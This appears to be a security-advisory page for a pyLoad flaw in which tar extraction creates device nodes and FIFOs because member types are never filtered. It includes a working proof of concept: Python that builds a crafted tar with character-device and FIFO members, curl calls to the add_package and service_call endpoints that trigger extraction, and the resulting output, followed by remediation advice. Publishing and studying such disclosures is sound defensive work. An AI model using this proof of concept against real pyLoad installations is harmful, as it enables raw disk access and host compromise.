Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-fr26-jjhm-638c
Advisory ID github_osv/GHSA-fr26-jjhm-638c
Aliases
Summary pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=) ### Summary `UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member **names** and symlink/hardlink **targets**, but never checks member **types**, and calls `tarfile.extractall` without a `filter=`. On Python < 3.14 the default extraction filter is `fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to supply an archive, STATUS to invoke `ExtractArchive.extract_package`). ### Details ```python # plugins/extractors/UnTar.py:69-79 for member in tar.getmembers(): if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only raise ArchiveError(...) tar.extractall(path, members, numeric_owner=numeric_owner) # no filter= ``` No `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation in `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create FIFOs for any euid. ### PoC ```bash BASE=http://127.0.0.1:8100 # craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member python3 - <<'EOF' import tarfile, io t = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER')) i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666 t.addfile(i) f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE t.addfile(f); t.close() EOF # as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder, # then trigger extraction curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}' curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' \ -d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}' ls -l <extract dir> # → crw-rw-rw- 1 root root 1, 3 nulldev (character device created) # → prw-r--r-- 1 root root pipe (FIFO created) # → -rw-r--r-- 1 root root marker.txt ``` Negative control: the same flow with a `../evil` traversal member is rejected (`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the GHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary is present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is reached via non-mapped names — as above — content-sniffed containers, or when 7z is absent/fails.) ### Impact With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees. ### Remediation In `_safe_extractall`, reject (or skip) every member that is not a regular file, directory, or safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass `filter="data"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply the same member-type validation in the pre-extraction validator so all extractors share it. ### References - GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).
Status Published
Exploitability 0.5
Weighted Severity 6.9
Risk 3.5
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (1)
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-fr26-jjhm-638c/GHSA-fr26-jjhm-638c.json
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

There are no SSVC decisions available.